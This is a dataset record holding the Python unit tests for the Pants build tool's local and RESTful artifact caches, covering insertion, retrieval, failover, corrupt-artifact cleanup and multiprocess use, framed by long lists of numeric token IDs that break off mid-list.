23945,
280,
29889,
15070,
29898,
2267,
29892,
1722,
29898,
2084,
29892,
525,
29893,
29890,
8785,
13,
13,
13,
2
] |
tests/python/pants_test/cache/test_artifact_cache.py | lahosken/pants | 1 | 133311 | # coding=utf-8
# Copyright 2014 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
from __future__ import (absolute_import, division, generators, nested_scopes, print_function,
unicode_literals, with_statement)
import os
import unittest
from contextlib import contextmanager
from pants.cache.artifact_cache import (NonfatalArtifactCacheError, call_insert,
call_use_cached_files)
from pants.cache.local_artifact_cache import LocalArtifactCache, TempLocalArtifactCache
from pants.cache.pinger import BestUrlSelector, InvalidRESTfulCacheProtoError
from pants.cache.restful_artifact_cache import RESTfulArtifactCache
from pants.invalidation.build_invalidator import CacheKey
from pants.util.contextutil import temporary_dir, temporary_file, temporary_file_path
from pants.util.dirutil import safe_mkdir
from pants_test.cache.cache_server import cache_server
TEST_CONTENT1 = b'muppet'
TEST_CONTENT2 = b'kermit'
class TestArtifactCache(unittest.TestCase):
@contextmanager
def setup_local_cache(self):
with temporary_dir() as artifact_root:
with temporary_dir() as cache_root:
yield LocalArtifactCache(artifact_root, cache_root, compression=1)
@contextmanager
def setup_server(self, return_failed=False, cache_root=None):
with cache_server(return_failed=return_failed, cache_root=cache_root) as server:
yield server
@contextmanager
def setup_rest_cache(self, local=None, return_failed=False):
with temporary_dir() as artifact_root:
local = local or TempLocalArtifactCache(artifact_root, 0)
with self.setup_server(return_failed=return_failed) as server:
yield RESTfulArtifactCache(artifact_root, BestUrlSelector([server.url]), local)
@contextmanager
def setup_test_file(self, parent):
with temporary_file(parent) as f:
# Write the file.
f.write(TEST_CONTENT1)
path = f.name
f.close()
yield path
def test_local_cache(self):
with self.setup_local_cache() as artifact_cache:
self.do_test_artifact_cache(artifact_cache)
def test_restful_cache(self):
with self.assertRaises(InvalidRESTfulCacheProtoError):
RESTfulArtifactCache('foo', BestUrlSelector(['ftp://localhost/bar']), 'foo')
with self.setup_rest_cache() as artifact_cache:
self.do_test_artifact_cache(artifact_cache)
def test_restful_cache_failover(self):
bad_url = 'http://badhost:123'
with temporary_dir() as artifact_root:
local = TempLocalArtifactCache(artifact_root, 0)
# With fail-over, rest call second time will succeed
with self.setup_server() as good_server:
artifact_cache = RESTfulArtifactCache(artifact_root,
BestUrlSelector([bad_url, good_server.url], max_failures=0),
local)
with self.assertRaises(NonfatalArtifactCacheError) as ex:
self.do_test_artifact_cache(artifact_cache)
self.assertIn('Connection aborted', str(ex.exception))
self.do_test_artifact_cache(artifact_cache)
def do_test_artifact_cache(self, artifact_cache):
key = CacheKey('muppet_key', 'fake_hash')
with self.setup_test_file(artifact_cache.artifact_root) as path:
# Cache it.
self.assertFalse(artifact_cache.has(key))
self.assertFalse(bool(artifact_cache.use_cached_files(key)))
artifact_cache.insert(key, [path])
self.assertTrue(artifact_cache.has(key))
# Stomp it.
with open(path, 'w') as outfile:
outfile.write(TEST_CONTENT2)
# Recover it from the cache.
self.assertTrue(bool(artifact_cache.use_cached_files(key)))
# Check that it was recovered correctly.
with open(path, 'r') as infile:
content = infile.read()
self.assertEquals(content, TEST_CONTENT1)
# Delete it.
artifact_cache.delete(key)
self.assertFalse(artifact_cache.has(key))
def test_local_backed_remote_cache(self):
"""make sure that the combined cache finds what it should and that it backfills"""
with self.setup_server() as server:
with self.setup_local_cache() as local:
tmp = TempLocalArtifactCache(local.artifact_root, 0)
remote = RESTfulArtifactCache(local.artifact_root, BestUrlSelector([server.url]), tmp)
combined = RESTfulArtifactCache(local.artifact_root, BestUrlSelector([server.url]), local)
key = CacheKey('muppet_key', 'fake_hash')
with self.setup_test_file(local.artifact_root) as path:
# No cache has key.
self.assertFalse(local.has(key))
self.assertFalse(remote.has(key))
self.assertFalse(combined.has(key))
# No cache returns key.
self.assertFalse(bool(local.use_cached_files(key)))
self.assertFalse(bool(remote.use_cached_files(key)))
self.assertFalse(bool(combined.use_cached_files(key)))
# Attempting to use key that no cache had should not change anything.
self.assertFalse(local.has(key))
self.assertFalse(remote.has(key))
self.assertFalse(combined.has(key))
# Add to only remote cache.
remote.insert(key, [path])
# After insertion to remote, remote and only remote should have key
self.assertFalse(local.has(key))
self.assertTrue(remote.has(key))
self.assertTrue(combined.has(key))
# Successfully using via remote should NOT change local.
self.assertTrue(bool(remote.use_cached_files(key)))
self.assertFalse(local.has(key))
# Successfully using via combined SHOULD backfill local.
self.assertTrue(bool(combined.use_cached_files(key)))
self.assertTrue(local.has(key))
self.assertTrue(bool(local.use_cached_files(key)))
def test_local_backed_remote_cache_corrupt_artifact(self):
"""Ensure that a combined cache clears outputs after a failure to extract an artifact."""
with temporary_dir() as remote_cache_dir:
with self.setup_server(cache_root=remote_cache_dir) as server:
with self.setup_local_cache() as local:
tmp = TempLocalArtifactCache(local.artifact_root, compression=1)
remote = RESTfulArtifactCache(local.artifact_root, BestUrlSelector([server.url]), tmp)
combined = RESTfulArtifactCache(local.artifact_root, BestUrlSelector([server.url]), local)
key = CacheKey('muppet_key', 'fake_hash')
results_dir = os.path.join(local.artifact_root, 'a/sub/dir')
safe_mkdir(results_dir)
self.assertTrue(os.path.exists(results_dir))
with self.setup_test_file(results_dir) as path:
# Add to only the remote cache.
remote.insert(key, [path])
# Corrupt the artifact in the remote storage.
self.assertTrue(server.corrupt_artifacts(r'.*muppet_key.*') == 1)
# An attempt to read the corrupt artifact should fail.
self.assertFalse(combined.use_cached_files(key, results_dir=results_dir))
# The local artifact should not have been stored, and the results_dir should exist,
# but be empty.
self.assertFalse(local.has(key))
self.assertTrue(os.path.exists(results_dir))
self.assertTrue(len(os.listdir(results_dir)) == 0)
def test_multiproc(self):
key = CacheKey('muppet_key', 'fake_hash')
with self.setup_local_cache() as cache:
self.assertEquals(map(call_use_cached_files, [(cache, key, None)]), [False])
with self.setup_test_file(cache.artifact_root) as path:
map(call_insert, [(cache, key, [path], False)])
self.assertEquals(map(call_use_cached_files, [(cache, key, None)]), [True])
with self.setup_rest_cache() as cache:
self.assertEquals(map(call_use_cached_files, [(cache, key, None)]), [False])
with self.setup_test_file(cache.artifact_root) as path:
map(call_insert, [(cache, key, [path], False)])
self.assertEquals(map(call_use_cached_files, [(cache, key, None)]), [True])
def test_failed_multiproc(self):
key = CacheKey('muppet_key', 'fake_hash')
# Failed requests should return failure status, but not raise exceptions
with self.setup_rest_cache(return_failed=True) as cache:
self.assertFalse(map(call_use_cached_files, [(cache, key, None)])[0])
with self.setup_test_file(cache.artifact_root) as path:
map(call_insert, [(cache, key, [path], False)])
self.assertFalse(map(call_use_cached_files, [(cache, key, None)])[0])
def test_successful_request_cleans_result_dir(self):
key = CacheKey('muppet_key', 'fake_hash')
with self.setup_local_cache() as cache:
self._do_test_successful_request_cleans_result_dir(cache, key)
with self.setup_rest_cache() as cache:
self._do_test_successful_request_cleans_result_dir(cache, key)
def _do_test_successful_request_cleans_result_dir(self, cache, key):
with self.setup_test_file(cache.artifact_root) as path:
with temporary_dir() as results_dir:
with temporary_file_path(root_dir=results_dir) as canary:
map(call_insert, [(cache, key, [path], False)])
map(call_use_cached_files, [(cache, key, results_dir)])
# Results content should have been deleted.
self.assertFalse(os.path.exists(canary))
def test_failed_request_doesnt_clean_result_dir(self):
key = CacheKey('muppet_key', 'fake_hash')
with temporary_dir() as results_dir:
with temporary_file_path(root_dir=results_dir) as canary:
with self.setup_local_cache() as cache:
self.assertEquals(
map(call_use_cached_files, [(cache, key, results_dir)]),
[False])
self.assertTrue(os.path.exists(canary))
with self.setup_rest_cache() as cache:
self.assertEquals(
map(call_use_cached_files, [(cache, key, results_dir)]),
[False])
self.assertTrue(os.path.exists(canary))
def test_corrupted_cached_file_cleaned_up(self):
key = CacheKey('muppet_key', 'fake_hash')
with self.setup_local_cache() as artifact_cache:
with self.setup_test_file(artifact_cache.artifact_root) as path:
artifact_cache.insert(key, [path])
tarfile = artifact_cache._cache_file_for_key(key)
self.assertTrue(artifact_cache.use_cached_files(key))
self.assertTrue(os.path.exists(tarfile))
with open(tarfile, 'w') as outfile:
outfile.write(b'not a valid tgz any more')
self.assertFalse(artifact_cache.use_cached_files(key))
self.assertFalse(os.path.exists(tarfile))
| [
1,
396,
14137,
29922,
9420,
29899,
29947,
13,
29937,
14187,
1266,
29871,
29906,
29900,
29896,
29946,
349,
1934,
2060,
17737,
29560,
313,
4149,
8707,
29911,
3960,
29933,
2692,
24125,
29889,
3487,
467,
13,
29937,
10413,
21144,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
4149,
365,
2965,
1430,
1660,
467,
13,
13,
3166,
4770,
29888,
9130,
1649,
1053,
313,
23552,
29918,
5215,
29892,
8542,
29892,
1176,
4097,
29892,
9322,
29918,
21785,
267,
29892,
1596,
29918,
2220,
29892,
13,
462,
4706,
29104,
29918,
20889,
1338,
29892,
411,
29918,
20788,
29897,
13,
13,
5215,
2897,
13,
5215,
443,
27958,
13,
3166,
3030,
1982,
1053,
3030,
12847,
13,
13,
3166,
282,
1934,
29889,
8173,
29889,
8813,
29918,
8173,
1053,
313,
12283,
29888,
2075,
9986,
7060,
10408,
2392,
29892,
1246,
29918,
7851,
29892,
13,
462,
462,
4706,
1246,
29918,
1509,
29918,
29883,
3791,
29918,
5325,
29897,
13,
3166,
282,
1934,
29889,
8173,
29889,
2997,
29918,
8813,
29918,
8173,
1053,
9959,
9986,
7060,
10408,
29892,
21121,
7717,
9986,
7060,
10408,
13,
3166,
282,
1934,
29889,
8173,
29889,
29886,
5621,
1053,
6407,
5983,
10378,
29892,
21403,
1525,
1254,
1319,
10408,
1184,
517,
2392,
13,
3166,
282,
1934,
29889,
8173,
29889,
5060,
1319,
29918,
8813,
29918,
8173,
1053,
16759,
1319,
9986,
7060,
10408,
13,
3166,
282,
1934,
29889,
262,
18157,
29889,
4282,
29918,
20965,
1061,
1053,
28540,
2558,
13,
3166,
282,
1934,
29889,
4422,
29889,
4703,
4422,
1053,
13201,
29918,
3972,
29892,
13201,
29918,
1445,
29892,
13201,
29918,
1445,
29918,
2084,
13,
3166,
282,
1934,
29889,
4422,
29889,
3972,
4422,
1053,
9109,
29918,
11256,
3972,
13,
3166,
282,
1934,
29918,
1688,
29889,
8173,
29889,
8173,
29918,
2974,
1053,
7090,
29918,
2974,
13,
13,
13,
18267,
29918,
22412,
3919,
29896,
353,
289,
29915,
2589,
7988,
29915,
13,
18267,
29918,
22412,
3919,
29906,
353,
289,
29915,
29895,
837,
277,
29915,
13,
13,
13,
1990,
4321,
9986,
7060,
10408,
29898,
348,
27958,
29889,
3057,
8259,
1125,
13,
29871,
732,
4703,
12847,
13,
29871,
822,
6230,
29918,
2997,
29918,
8173,
29898,
1311,
1125,
13,
1678,
411,
13201,
29918,
3972,
580,
408,
24238,
29918,
4632,
29901,
13,
418,
411,
13201,
29918,
3972,
580,
408,
7090,
29918,
4632,
29901,
13,
4706,
7709,
9959,
9986,
7060,
10408,
29898,
8813,
29918,
4632,
29892,
7090,
29918,
4632,
29892,
24221,
29922,
29896,
29897,
13,
13,
29871,
732,
4703,
12847,
13,
29871,
822,
6230,
29918,
2974,
29898,
1311,
29892,
736,
29918,
26061,
29922,
8824,
29892,
7090,
29918,
4632,
29922,
8516,
1125,
13,
1678,
411,
7090,
29918,
2974,
29898,
2457,
29918,
26061,
29922,
2457,
29918,
26061,
29892,
7090,
29918,
4632,
29922,
8173,
29918,
4632,
29897,
408,
1923,
29901,
13,
418,
7709,
1923,
13,
13,
29871,
732,
4703,
12847,
13,
29871,
822,
6230,
29918,
5060,
29918,
8173,
29898,
1311,
29892,
1887,
29922,
8516,
29892,
736,
29918,
26061,
29922,
8824,
1125,
13,
1678,
411,
13201,
29918,
3972,
580,
408,
24238,
29918,
4632,
29901,
13,
418,
1887,
353,
1887,
470,
21121,
7717,
9986,
7060,
10408,
29898,
8813,
29918,
4632,
29892,
29871,
29900,
29897,
13,
418,
411,
1583,
29889,
14669,
29918,
2974,
29898,
2457,
29918,
26061,
29922,
2457,
29918,
26061,
29897,
408,
1923,
29901,
13,
4706,
7709,
16759,
1319,
9986,
7060,
10408,
29898,
8813,
29918,
4632,
29892,
6407,
5983,
10378,
4197,
2974,
29889,
2271,
11724,
1887,
29897,
13,
13,
29871,
732,
4703,
12847,
13,
29871,
822,
6230,
29918,
1688,
29918,
1445,
29898,
1311,
29892,
3847,
1125,
13,
1678,
411,
13201,
29918,
1445,
29898,
3560,
29897,
408,
285,
29901,
13,
418,
396,
14350,
278,
934,
29889,
13,
418,
285,
29889,
3539,
29898,
18267,
29918,
22412,
3919,
29896,
29897,
13,
418,
2224,
353,
285,
29889,
978,
13,
418,
285,
29889,
5358,
580,
13,
418,
7709,
2224,
13,
13,
29871,
822,
1243,
29918,
2997,
29918,
8173,
29898,
1311,
1125,
13,
1678,
411,
1583,
29889,
14669,
29918,
2997,
29918,
8173,
580,
408,
24238,
29918,
8173,
29901,
13,
418,
1583,
29889,
1867,
29918,
1688,
29918,
8813,
29918,
8173,
29898,
8813,
29918,
8173,
29897,
13,
13,
29871,
822,
1243,
29918,
5060,
1319,
29918,
8173,
29898,
1311,
1125,
13,
1678,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
13919,
1525,
1254,
1319,
10408,
1184,
517,
2392,
1125,
13,
418,
16759,
1319,
9986,
7060,
10408,
877,
5431,
742,
6407,
5983,
10378,
18959,
23102,
597,
7640,
29914,
1646,
2033,
511,
525,
5431,
1495,
13,
13,
1678,
411,
1583,
29889,
14669,
29918,
5060,
29918,
8173,
580,
408,
24238,
29918,
8173,
29901,
13,
418,
1583,
29889,
1867,
29918,
1688,
29918,
8813,
29918,
8173,
29898,
8813,
29918,
8173,
29897,
13,
13,
29871,
822,
1243,
29918,
5060,
1319,
29918,
8173,
29918,
14057,
957,
29898,
1311,
1125,
13,
1678,
4319,
29918,
2271,
353,
525,
1124,
597,
12313,
3069,
29901,
29896,
29906,
29941,
29915,
13,
13,
1678,
411,
13201,
29918,
3972,
580,
408,
24238,
29918,
4632,
29901,
13,
418,
1887,
353,
21121,
7717,
9986,
7060,
10408,
29898,
8813,
29918,
4632,
29892,
29871,
29900,
29897,
13,
13,
418,
396,
2973,
4418,
29899,
957,
29892,
1791,
1246,
1473,
931,
674,
9269,
13,
418,
411,
1583,
29889,
14669,
29918,
2974,
580,
408,
1781,
29918,
2974,
29901,
13,
4706,
24238,
29918,
8173,
353,
16759,
1319,
9986,
7060,
10408,
29898,
8813,
29918,
4632,
29892,
13,
462,
462,
795,
6407,
5983,
10378,
4197,
12313,
29918,
2271,
29892,
1781,
29918,
2974,
29889,
2271,
1402,
4236,
29918,
14057,
1973,
29922,
29900,
511,
13,
462,
462,
795,
1887,
29897,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
12283,
29888,
2075,
9986,
7060,
10408,
2392,
29897,
408,
429,
29901,
13,
3986,
1583,
29889,
1867,
29918,
1688,
29918,
8813,
29918,
8173,
29898,
8813,
29918,
8173,
29897,
13,
4706,
1583,
29889,
9294,
797,
877,
5350,
633,
18054,
742,
851,
29898,
735,
29889,
11739,
876,
13,
13,
4706,
1583,
29889,
1867,
29918,
1688,
29918,
8813,
29918,
8173,
29898,
8813,
29918,
8173,
29897,
13,
13,
29871,
822,
437,
29918,
1688,
29918,
8813,
29918,
8173,
29898,
1311,
29892,
24238,
29918,
8173,
1125,
13,
1678,
1820,
353,
28540,
2558,
877,
2589,
7988,
29918,
1989,
742,
525,
29888,
1296,
29918,
8568,
1495,
13,
1678,
411,
1583,
29889,
14669,
29918,
1688,
29918,
1445,
29898,
8813,
29918,
8173,
29889,
8813,
29918,
4632,
29897,
408,
2224,
29901,
13,
418,
396,
28540,
372,
29889,
13,
418,
1583,
29889,
9294,
8824,
29898,
8813,
29918,
8173,
29889,
5349,
29898,
1989,
876,
13,
418,
1583,
29889,
9294,
8824,
29898,
11227,
29898,
8813,
29918,
8173,
29889,
1509,
29918,
29883,
3791,
29918,
5325,
29898,
1989,
4961,
13,
418,
24238,
29918,
8173,
29889,
7851,
29898,
1989,
29892,
518,
2084,
2314,
13,
418,
1583,
29889,
9294,
5574,
29898,
8813,
29918,
8173,
29889,
5349,
29898,
1989,
876,
13,
13,
418,
396,
624,
21744,
372,
29889,
13,
418,
411,
1722,
29898,
2084,
29892,
525,
29893,
1495,
408,
714,
1445,
29901,
13,
4706,
714,
1445,
29889,
3539,
29898,
18267,
29918,
22412,
3919,
29906,
29897,
13,
13,
418,
396,
3599,
957,
372,
515,
278,
7090,
29889,
13,
418,
1583,
29889,
9294,
5574,
29898,
11227,
29898,
8813,
29918,
8173,
29889,
1509,
29918,
29883,
3791,
29918,
5325,
29898,
1989,
4961,
13,
13,
418,
396,
5399,
393,
372,
471,
24776,
5149,
29889,
13,
418,
411,
1722,
29898,
2084,
29892,
525,
29878,
1495,
408,
297,
1445,
29901,
13,
4706,
2793,
353,
297,
1445,
29889,
949,
580,
13,
418,
1583,
29889,
9294,
14776,
29898,
3051,
29892,
17067,
1254,
29918,
22412,
3919,
29896,
29897,
13,
13,
418,
396,
21267,
372,
29889,
13,
418,
24238,
29918,
8173,
29889,
8143,
29898,
1989,
29897,
13,
418,
1583,
29889,
9294,
8824,
29898,
8813,
29918,
8173,
29889,
5349,
29898,
1989,
876,
13,
13,
29871,
822,
1243,
29918,
2997,
29918,
1627,
287,
29918,
16674,
29918,
8173,
29898,
1311,
1125,
13,
1678,
9995,
5675,
1854,
393,
278,
12420,
7090,
14061,
825,
372,
881,
322,
393,
372,
1250,
5589,
29879,
15945,
29908,
13,
1678,
411,
1583,
29889,
14669,
29918,
2974,
580,
408,
1923,
29901,
13,
418,
411,
1583,
29889,
14669,
29918,
2997,
29918,
8173,
580,
408,
1887,
29901,
13,
4706,
13128,
353,
21121,
7717,
9986,
7060,
10408,
29898,
2997,
29889,
8813,
29918,
4632,
29892,
29871,
29900,
29897,
13,
4706,
7592,
353,
16759,
1319,
9986,
7060,
10408,
29898,
2997,
29889,
8813,
29918,
4632,
29892,
6407,
5983,
10378,
4197,
2974,
29889,
2271,
11724,
13128,
29897,
13,
4706,
12420,
353,
16759,
1319,
9986,
7060,
10408,
29898,
2997,
29889,
8813,
29918,
4632,
29892,
6407,
5983,
10378,
4197,
2974,
29889,
2271,
11724,
1887,
29897,
13,
13,
4706,
1820,
353,
28540,
2558,
877,
2589,
7988,
29918,
1989,
742,
525,
29888,
1296,
29918,
8568,
1495,
13,
13,
4706,
411,
1583,
29889,
14669,
29918,
1688,
29918,
1445,
29898,
2997,
29889,
8813,
29918,
4632,
29897,
408,
2224,
29901,
13,
3986,
396,
1939,
7090,
756,
1820,
29889,
13,
3986,
1583,
29889,
9294,
8824,
29898,
2997,
29889,
5349,
29898,
1989,
876,
13,
3986,
1583,
29889,
9294,
8824,
29898,
16674,
29889,
5349,
29898,
1989,
876,
13,
3986,
1583,
29889,
9294,
8824,
29898,
17743,
1312,
29889,
5349,
29898,
1989,
876,
13,
13,
3986,
396,
1939,
7090,
3639,
1820,
29889,
13,
3986,
1583,
29889,
9294,
8824,
29898,
11227,
29898,
2997,
29889,
1509,
29918,
29883,
3791,
29918,
5325,
29898,
1989,
4961,
13,
3986,
1583,
29889,
9294,
8824,
29898,
11227,
29898,
16674,
29889,
1509,
29918,
29883,
3791,
29918,
5325,
29898,
1989,
4961,
13,
3986,
1583,
29889,
9294,
8824,
29898,
11227,
29898,
17743,
1312,
29889,
1509,
29918,
29883,
3791,
29918,
5325,
29898,
1989,
4961,
13,
13,
3986,
396,
6212,
3456,
292,
304,
671,
1820,
393,
694,
7090,
750,
881,
451,
1735,
3099,
29889,
13,
3986,
1583,
29889,
9294,
8824,
29898,
2997,
29889,
5349,
29898,
1989,
876,
13,
3986,
1583,
29889,
9294,
8824,
29898,
16674,
29889,
5349,
29898,
1989,
876,
13,
3986,
1583,
29889,
9294,
8824,
29898,
17743,
1312,
29889,
5349,
29898,
1989,
876,
13,
13,
3986,
396,
3462,
304,
871,
7592,
7090,
29889,
13,
3986,
7592,
29889,
7851,
29898,
1989,
29892,
518,
2084,
2314,
13,
13,
3986,
396,
2860,
4635,
291,
304,
7592,
29892,
7592,
322,
871,
7592,
881,
505,
1820,
13,
3986,
1583,
29889,
9294,
8824,
29898,
2997,
29889,
5349,
29898,
1989,
876,
13,
3986,
1583,
29889,
9294,
5574,
29898,
16674,
29889,
5349,
29898,
1989,
876,
13,
3986,
1583,
29889,
9294,
5574,
29898,
17743,
1312,
29889,
5349,
29898,
1989,
876,
13,
13,
3986,
396,
21397,
3730,
773,
3025,
7592,
881,
6058,
1735,
1887,
29889,
13,
3986,
1583,
29889,
9294,
5574,
29898,
11227,
29898,
16674,
29889,
1509,
29918,
29883,
3791,
29918,
5325,
29898,
1989,
4961,
13,
3986,
1583,
29889,
9294,
8824,
29898,
2997,
29889,
5349,
29898,
1989,
876,
13,
13,
3986,
396,
21397,
3730,
773,
3025,
12420,
317,
8187,
29965,
10249,
1250,
5589,
1887,
29889,
13,
3986,
1583,
29889,
9294,
5574,
29898,
11227,
29898,
17743,
1312,
29889,
1509,
29918,
29883,
3791,
29918,
5325,
29898,
1989,
4961,
13,
3986,
1583,
29889,
9294,
5574,
29898,
2997,
29889,
5349,
29898,
1989,
876,
13,
3986,
1583,
29889,
9294,
5574,
29898,
11227,
29898,
2997,
29889,
1509,
29918,
29883,
3791,
29918,
5325,
29898,
1989,
4961,
13,
13,
29871,
822,
1243,
29918,
2997,
29918,
1627,
287,
29918,
16674,
29918,
8173,
29918,
2616,
6685,
29918,
8813,
29898,
1311,
1125,
13,
1678,
9995,
29923,
1983,
545,
393,
263,
12420,
7090,
4531,
1503,
14391,
1156,
263,
10672,
304,
6597,
385,
24238,
1213,
15945,
13,
1678,
411,
13201,
29918,
3972,
580,
408,
7592,
29918,
8173,
29918,
3972,
29901,
13,
418,
411,
1583,
29889,
14669,
29918,
2974,
29898,
8173,
29918,
4632,
29922,
16674,
29918,
8173,
29918,
3972,
29897,
408,
1923,
29901,
13,
4706,
411,
1583,
29889,
14669,
29918,
2997,
29918,
8173,
580,
408,
1887,
29901,
13,
3986,
13128,
353,
21121,
7717,
9986,
7060,
10408,
29898,
2997,
29889,
8813,
29918,
4632,
29892,
24221,
29922,
29896,
29897,
13,
3986,
7592,
353,
16759,
1319,
9986,
7060,
10408,
29898,
2997,
29889,
8813,
29918,
4632,
29892,
6407,
5983,
10378,
4197,
2974,
29889,
2271,
11724,
13128,
29897,
13,
3986,
12420,
353,
16759,
1319,
9986,
7060,
10408,
29898,
2997,
29889,
8813,
29918,
4632,
29892,
6407,
5983,
10378,
4197,
2974,
29889,
2271,
11724,
1887,
29897,
13,
13,
3986,
1820,
353,
28540,
2558,
877,
2589,
7988,
29918,
1989,
742,
525,
29888,
1296,
29918,
8568,
1495,
13,
13,
3986,
2582,
29918,
3972,
353,
2897,
29889,
2084,
29889,
7122,
29898,
2997,
29889,
8813,
29918,
4632,
29892,
525,
29874,
29914,
1491,
29914,
3972,
1495,
13,
3986,
9109,
29918,
11256,
3972,
29898,
9902,
29918,
3972,
29897,
13,
3986,
1583,
29889,
9294,
5574,
29898,
359,
29889,
2084,
29889,
9933,
29898,
9902,
29918,
3972,
876,
13,
13,
3986,
411,
1583,
29889,
14669,
29918,
1688,
29918,
1445,
29898,
9902,
29918,
3972,
29897,
408,
2224,
29901,
13,
9651,
396,
3462,
304,
871,
278,
7592,
7090,
29889,
13,
9651,
7592,
29889,
7851,
29898,
1989,
29892,
518,
2084,
2314,
13,
13,
9651,
396,
2994,
6685,
278,
24238,
297,
278,
7592,
8635,
29889,
13,
9651,
1583,
29889,
9294,
5574,
29898,
2974,
29889,
2616,
6685,
29918,
8813,
29879,
29898,
29878,
4286,
29930,
2589,
7988,
29918,
1989,
5575,
1495,
1275,
29871,
29896,
29897,
13,
13,
9651,
396,
530,
4218,
304,
1303,
278,
1034,
6685,
24238,
881,
4418,
29889,
13,
9651,
1583,
29889,
9294,
8824,
29898,
17743,
1312,
29889,
1509,
29918,
29883,
3791,
29918,
5325,
29898,
1989,
29892,
2582,
29918,
3972,
29922,
9902,
29918,
3972,
876,
13,
13,
9651,
396,
450,
1887,
24238,
881,
451,
505,
1063,
6087,
29892,
322,
278,
2582,
29918,
3972,
881,
1863,
29892,
13,
9651,
396,
541,
367,
4069,
29889,
13,
9651,
1583,
29889,
9294,
8824,
29898,
2997,
29889,
5349,
29898,
1989,
876,
13,
9651,
1583,
29889,
9294,
5574,
29898,
359,
29889,
2084,
29889,
9933,
29898,
9902,
29918,
3972,
876,
13,
9651,
1583,
29889,
9294,
5574,
29898,
2435,
29898,
359,
29889,
1761,
3972,
29898,
9902,
29918,
3972,
876,
1275,
29871,
29900,
29897,
13,
13,
29871,
822,
1243,
29918,
18056,
10198,
29898,
1311,
1125,
13,
1678,
1820,
353,
28540,
2558,
877,
2589,
7988,
29918,
1989,
742,
525,
29888,
1296,
29918,
8568,
1495,
13,
13,
1678,
411,
1583,
29889,
14669,
29918,
2997,
29918,
8173,
580,
408,
7090,
29901,
13,
418,
1583,
29889,
9294,
14776,
29898,
1958,
29898,
4804,
29918,
1509,
29918,
29883,
3791,
29918,
5325,
29892,
17288,
8173,
29892,
1820,
29892,
6213,
4638,
511,
518,
8824,
2314,
13,
418,
411,
1583,
29889,
14669,
29918,
1688,
29918,
1445,
29898,
8173,
29889,
8813,
29918,
4632,
29897,
408,
2224,
29901,
13,
4706,
2910,
29898,
4804,
29918,
7851,
29892,
17288,
8173,
29892,
1820,
29892,
518,
2084,
1402,
7700,
29897,
2314,
13,
418,
1583,
29889,
9294,
14776,
29898,
1958,
29898,
4804,
29918,
1509,
29918,
29883,
3791,
29918,
5325,
29892,
17288,
8173,
29892,
1820,
29892,
6213,
4638,
511,
518,
5574,
2314,
13,
13,
1678,
411,
1583,
29889,
14669,
29918,
5060,
29918,
8173,
580,
408,
7090,
29901,
13,
418,
1583,
29889,
9294,
14776,
29898,
1958,
29898,
4804,
29918,
1509,
29918,
29883,
3791,
29918,
5325,
29892,
17288,
8173,
29892,
1820,
29892,
6213,
4638,
511,
518,
8824,
2314,
13,
418,
411,
1583,
29889,
14669,
29918,
1688,
29918,
1445,
29898,
8173,
29889,
8813,
29918,
4632,
29897,
408,
2224,
29901,
13,
4706,
2910,
29898,
4804,
29918,
7851,
29892,
17288,
8173,
29892,
1820,
29892,
518,
2084,
1402,
7700,
29897,
2314,
13,
418,
1583,
29889,
9294,
14776,
29898,
1958,
29898,
4804,
29918,
1509,
29918,
29883,
3791,
29918,
5325,
29892,
17288,
8173,
29892,
1820,
29892,
6213,
4638,
511,
518,
5574,
2314,
13,
13,
29871,
822,
1243,
29918,
26061,
29918,
18056,
10198,
29898,
1311,
1125,
13,
1678,
1820,
353,
28540,
2558,
877,
2589,
7988,
29918,
1989,
742,
525,
29888,
1296,
29918,
8568,
1495,
13,
13,
1678,
396,
18390,
7274,
881,
736,
10672,
4660,
29892,
541,
451,
12020,
15283,
13,
1678,
411,
1583,
29889,
14669,
29918,
5060,
29918,
8173,
29898,
2457,
29918,
26061,
29922,
5574,
29897,
408,
7090,
29901,
13,
418,
1583,
29889,
9294,
8824,
29898,
1958,
29898,
4804,
29918,
1509,
29918,
29883,
3791,
29918,
5325,
29892,
17288,
8173,
29892,
1820,
29892,
6213,
29897,
2314,
29961,
29900,
2314,
13,
418,
411,
1583,
29889,
14669,
29918,
1688,
29918,
1445,
29898,
8173,
29889,
8813,
29918,
4632,
29897,
408,
2224,
29901,
13,
4706,
2910,
29898,
4804,
29918,
7851,
29892,
17288,
8173,
29892,
1820,
29892,
518,
2084,
1402,
7700,
29897,
2314,
13,
418,
1583,
29889,
9294,
8824,
29898,
1958,
29898,
4804,
29918,
1509,
29918,
29883,
3791,
29918,
5325,
29892,
17288,
8173,
29892,
1820,
29892,
6213,
29897,
2314,
29961,
29900,
2314,
13,
13,
29871,
822,
1243,
29918,
8698,
1319,
29918,
3827,
29918,
2841,
550,
29918,
2914,
29918,
3972,
29898,
1311,
1125,
13,
1678,
1820,
353,
28540,
2558,
877,
2589,
7988,
29918,
1989,
742,
525,
29888,
1296,
29918,
8568,
1495,
13,
13,
1678,
411,
1583,
29889,
14669,
29918,
2997,
29918,
8173,
580,
408,
7090,
29901,
13,
418,
1583,
3032,
1867,
29918,
1688,
29918,
8698,
1319,
29918,
3827,
29918,
2841,
550,
29918,
2914,
29918,
3972,
29898,
8173,
29892,
1820,
29897,
13,
13,
1678,
411,
1583,
29889,
14669,
29918,
5060,
29918,
8173,
580,
408,
7090,
29901,
13,
418,
1583,
3032,
1867,
29918,
1688,
29918,
8698,
1319,
29918,
3827,
29918,
2841,
550,
29918,
2914,
29918,
3972,
29898,
8173,
29892,
1820,
29897,
13,
13,
29871,
822,
903,
1867,
29918,
1688,
29918,
8698,
1319,
29918,
3827,
29918,
2841,
550,
29918,
2914,
29918,
3972,
29898,
1311,
29892,
7090,
29892,
1820,
1125,
13,
1678,
411,
1583,
29889,
14669,
29918,
1688,
29918,
1445,
29898,
8173,
29889,
8813,
29918,
4632,
29897,
408,
2224,
29901,
13,
418,
411,
13201,
29918,
3972,
580,
408,
2582,
29918,
3972,
29901,
13,
4706,
411,
13201,
29918,
1445,
29918,
2084,
29898,
4632,
29918,
3972,
29922,
9902,
29918,
3972,
29897,
408,
508,
653,
29901,
13,
3986,
2910,
29898,
4804,
29918,
7851,
29892,
17288,
8173,
29892,
1820,
29892,
518,
2084,
1402,
7700,
29897,
2314,
13,
3986,
2910,
29898,
4804,
29918,
1509,
29918,
29883,
3791,
29918,
5325,
29892,
17288,
8173,
29892,
1820,
29892,
